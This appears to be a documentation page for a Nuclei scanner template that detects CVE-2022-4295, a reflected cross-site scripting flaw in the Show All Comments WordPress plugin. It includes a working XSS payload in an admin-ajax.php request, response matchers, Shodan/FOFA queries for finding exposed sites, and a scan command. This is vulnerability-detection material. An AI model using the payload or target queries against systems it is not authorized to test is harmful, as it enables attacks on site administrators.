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Show all comments < 7.0.1 - Cross-Site Scripting

ID: CVE-2022-4295

Severity: medium

Author: r3Y3r53

Tags: cve2022,cve,wpscan,wp,wordpress,wp-plugin,xss,show-all-comments-in-one-page,appjetty

Description

Section titled “Description”

The Show All Comments WordPress plugin before 7.0.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against a logged in high privilege users such as admin.

YAML Source

Section titled “YAML Source”
id: CVE-2022-4295


info:
  name: Show all comments < 7.0.1 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The Show All Comments WordPress plugin before 7.0.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against a logged in high privilege users such as admin.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the Show all comments plugin (7.0.1) or apply the vendor-supplied patch to fix the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/4ced1a4d-0c1f-42ad-8473-241c68b92b56
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4295
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-4295
    cwe-id: CWE-79
    epss-score: 0.0012
    epss-percentile: 0.46205
    cpe: cpe:2.3:a:appjetty:show_all_comments:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: appjetty
    product: show_all_comments
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/show-all-comments-in-one-page
    fofa-query: body=/wp-content/plugins/show-all-comments-in-one-page
    publicwww-query: /wp-content/plugins/show-all-comments-in-one-page
  tags: cve2022,cve,wpscan,wp,wordpress,wp-plugin,xss,show-all-comments-in-one-page,appjetty


http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=sac_post_type_call&post_type=</option><script>alert(document.domain)</script>"


    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "<script>alert(document.domain)</script>")'
          - 'contains(body, "Select </option>")'
        condition: and
# digest: 4b0a00483046022100b612c5727d6afc7e7f8ee90d27d6c18cdaf16c838ee052f06c12838ed6c8d1b6022100b22e4a7c2280f854df7ccd2c43984834e29274ecbad1935d6036c37567c01f48:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-4295.yaml"

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